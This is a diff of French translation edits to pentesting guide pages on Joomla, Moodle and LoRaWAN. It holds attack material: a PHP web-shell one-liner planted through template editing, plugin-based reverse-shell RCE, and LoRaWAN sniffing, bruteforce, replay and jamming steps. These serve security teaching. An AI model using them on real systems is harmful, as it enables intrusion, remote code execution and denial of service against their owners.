|
||||
```
|
||||
### Version
|
||||
@ -71,7 +71,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
```bash
|
||||
droopescan scan joomla --url http://joomla-site.local/
|
||||
```
|
||||
Dans[ **80,443 - La méthodologie de pentesting Web est une section sur les scanners CMS**](#cms-scanners) qui peuvent scanner Joomla.
|
||||
In[ **80,443 - La méthodologie de pentesting web est une section sur les scanners CMS**](#cms-scanners) qui peuvent scanner Joomla.
|
||||
|
||||
### Divulgation d'informations non authentifiées via l'API :
|
||||
|
||||
@ -92,10 +92,10 @@ admin:admin
|
||||
```
|
||||
## RCE
|
||||
|
||||
Si vous parvenez à obtenir des **identifiants administratifs**, vous pouvez **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir **RCE**. Nous pouvons le faire en **personnalisant** un **modèle**.
|
||||
Si vous parvenez à obtenir des **identifiants admin**, vous pouvez **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir **RCE**. Nous pouvons le faire en **personnalisant** un **template**.
|
||||
|
||||
1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour faire apparaître le menu des modèles.
|
||||
2. **Cliquez** sur un nom de **modèle**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**.
|
||||
1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour faire apparaître le menu des templates.
|
||||
2. **Cliquez** sur un nom de **template**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**.
|
||||
3. Enfin, vous pouvez cliquer sur une page pour faire apparaître le **code source** de la page. Choisissons la page **`error.php`**. Nous ajouterons un **PHP one-liner pour obtenir l'exécution de code** comme suit :
|
||||
1. **`system($_GET['cmd']);`**
|
||||
4. **Enregistrer & Fermer**
|
||||
@ -104,8 +104,8 @@ Si vous parvenez à obtenir des **identifiants administratifs**, vous pouvez **R
|
||||
## De XSS à RCE
|
||||
|
||||
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit) : Script d'exploitation Joomla qui **élève XSS à RCE ou d'autres vulnérabilités critiques**. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions Joomla 5.X.X, 4.X.X et 3.X.X, et permet de :**
|
||||
- _**Élévation de privilèges :**_ Crée un utilisateur dans Joomla.
|
||||
- _**(RCE) Édition de modèles intégrés :**_ Édite des modèles intégrés dans Joomla.
|
||||
- _**Escalade de privilèges :**_ Crée un utilisateur dans Joomla.
|
||||
- _**(RCE) Édition de templates intégrés :**_ Édite des templates intégrés dans Joomla.
|
||||
- _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins Joomla tiers.
|
||||
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scans Automatiques
|
||||
## Scans automatiques
|
||||
|
||||
### droopescan
|
||||
```bash
|
||||
@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
|
||||
3.10.0-beta
|
||||
|
||||
[+] Possible interesting urls found:
|
||||
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
||||
Admin panel - http://moodle.schooled.htb/moodle/login/
|
||||
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
|
||||
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
|
||||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
@ -62,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
J'ai trouvé que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version de moodle**. Vous pouvez **vérifier** pour eux dans [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
J'ai constaté que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version de moodle**. Vous pouvez **vérifier** cela sur [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
|
||||
|
||||
## **RCE**
|
||||
|
||||
@ -70,7 +70,7 @@ Vous devez avoir le rôle de **manager** et vous **pouvez installer des plugins*
|
||||
|
||||
.png>)
|
||||
|
||||
Si vous êtes manager, vous devrez peut-être encore **activer cette option**. Vous pouvez voir comment dans le PoC d'escalade de privilèges moodle : [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Si vous êtes manager, vous devrez peut-être **activer cette option**. Vous pouvez voir comment dans le PoC d'escalade de privilèges de moodle : [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Ensuite, vous pouvez **installer le plugin suivant** qui contient le classique pentest-monkey php r**ev shell** (_avant de le télécharger, vous devez le décompresser, changer l'IP et le port du revshell et le compresser à nouveau_)
|
||||
|
||||
|
||||
@ -26,7 +26,7 @@ Long Range (**LoRa**) est actuellement la couche physique LPWAN la plus déploy
|
||||
| Couche | Faiblesse | Impact pratique |
|
||||
|--------|-----------|-----------------|
|
||||
| PHY | Brouillage réactif / sélectif | 100 % de perte de paquets démontrée avec un seul SDR et <1 W de sortie |
|
||||
| MAC | Relecture de Join-Accept & trame de données (réutilisation de nonce, débordement de compteur ABP) | Usurpation de dispositif, injection de message, DoS |
|
||||
| MAC | Rejeu de Join-Accept & trame de données (réutilisation de nonce, débordement de compteur ABP) | Usurpation de dispositif, injection de message, DoS |
|
||||
| Serveur de réseau | Transmetteur de paquets non sécurisé, filtres MQTT/UDP faibles, firmware de passerelle obsolète | RCE sur les passerelles → pivot vers le réseau OT/IT |
|
||||
| Application | AppKeys codées en dur ou prévisibles | Brute-force/décryptage du trafic, usurpation de capteurs |
|
||||
|
||||
@ -51,19 +51,19 @@ python3 lorattack/sniffer.py \
|
||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
```
|
||||
### 2. OTAA join-replay (réutilisation de DevNonce)
|
||||
### 2. Rejeu de jointure OTAA (réutilisation de DevNonce)
|
||||
|
||||
1. Capturez un **JoinRequest** légitime.
|
||||
2. Retransmettez-le immédiatement (ou augmentez le RSSI) avant que l'appareil d'origine ne transmette à nouveau.
|
||||
3. Le serveur de réseau attribue un nouveau DevAddr et des clés de session pendant que l'appareil cible continue avec l'ancienne session → l'attaquant possède une session vacante et peut injecter des uplinks falsifiés.
|
||||
1. Capturez une **JoinRequest** légitime.
|
||||
2. Retransmettez-la immédiatement (ou augmentez le RSSI) avant que l'appareil d'origine ne transmette à nouveau.
|
||||
3. Le serveur réseau attribue un nouveau DevAddr et des clés de session pendant que l'appareil cible continue avec l'ancienne session → l'attaquant possède une session vacante et peut injecter des uplinks falsifiés.
|
||||
|
||||
### 3. Downgrade du taux de données adaptatif (ADR)
|
||||
### 3. Rétrogradation du taux de données adaptatif (ADR)
|
||||
|
||||
Forcez SF12/125 kHz pour augmenter le temps d'occupation → épuiser le cycle de service de la passerelle (déni de service) tout en maintenant l'impact sur la batterie faible pour l'attaquant (envoyez simplement des commandes MAC au niveau du réseau).
|
||||
Forcez SF12/125 kHz pour augmenter le temps d'occupation → épuiser le cycle de service de la passerelle (déni de service) tout en maintenant un impact faible sur la batterie de l'attaquant (envoyez simplement des commandes MAC au niveau du réseau).
|
||||
|
||||
### 4. Brouillage réactif
|
||||
|
||||
*HackRF One* exécutant un flowgraph GNU Radio déclenche un chirp large bande chaque fois qu'un préambule est détecté – bloque tous les facteurs d'étalement avec ≤200 mW TX ; panne totale mesurée à 2 km de portée.
|
||||
*HackRF One* exécutant un flux GNU Radio déclenche un chirp large bande chaque fois qu'un préambule est détecté – bloque tous les facteurs d'étalement avec ≤200 mW TX ; panne totale mesurée à 2 km de portée.
|
||||
|
||||
---
|
||||
|
||||
@ -71,14 +71,14 @@ Forcez SF12/125 kHz pour augmenter le temps d'occupation → épuiser le cycle d
|
||||
|
||||
| Outil | Objectif | Remarques |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN Auditing Framework (LAF)** | Créer/analyser/attaquer des trames LoRaWAN, analyseurs basés sur une base de données, brute-forcer | Image Docker, prend en charge l'entrée UDP Semtech |
|
||||
| **LoRaPWN** | Utilitaire Python de Trend Micro pour brute-forcer OTAA, générer des downlinks, déchiffrer des charges utiles | Démo publiée en 2023, SDR-agnostique |
|
||||
| **LoRaWAN Auditing Framework (LAF)** | Créer/analyser/attaquer des trames LoRaWAN, analyseurs soutenus par une base de données, brute-forcer | Image Docker, prend en charge l'entrée UDP Semtech |
|
||||
| **LoRaPWN** | Utilitaire Python de Trend Micro pour brute forcer OTAA, générer des downlinks, déchiffrer des charges utiles | Démo publiée en 2023, SDR-agnostique |
|
||||
| **LoRAttack** | Sniffer multi-canal + replay avec USRP ; exporte PCAP/LoRaTap | Bonne intégration avec Wireshark |
|
||||
| **gr-lora / gr-lorawan** | Blocs OOT GNU Radio pour TX/RX de baseband | Fondation pour des attaques personnalisées |
|
||||
|
||||
---
|
||||
|
||||
## Recommandations défensives (checklist de pentester)
|
||||
## Recommandations défensives (liste de contrôle pour pentester)
|
||||
|
||||
1. Préférez les appareils **OTAA** avec un DevNonce véritablement aléatoire ; surveillez les doublons.
|
||||
2. Appliquez **LoRaWAN 1.1** : compteurs de trames de 32 bits, FNwkSIntKey / SNwkSIntKey distincts.
|
||||
@ -86,10 +86,10 @@ Forcez SF12/125 kHz pour augmenter le temps d'occupation → épuiser le cycle d
|
||||
4. Déployez un **élément sécurisé** (ATECC608A/SX1262-TRX-SE) pour protéger les clés racines contre l'extraction de firmware.
|
||||
5. Désactivez les ports de transfert de paquets UDP distants (1700/1701) ou restreignez avec WireGuard/VPN.
|
||||
6. Gardez les passerelles à jour ; Kerlink/Dragino fournissent des images corrigées en 2024.
|
||||
7. Mettez en œuvre une **détection d'anomalies de trafic** (par exemple, analyseur LAF) – signalez les réinitialisations de compteurs, les joins dupliqués, les changements soudains d'ADR.
|
||||
7. Mettez en œuvre une **détection d'anomalies de trafic** (par exemple, analyseur LAF) – signalez les réinitialisations de compteurs, les jointures dupliquées, les changements soudains d'ADR.
|
||||
|
||||
## Références
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Aperçu de Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Aperçu de Trend Micro LoRaPWN – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user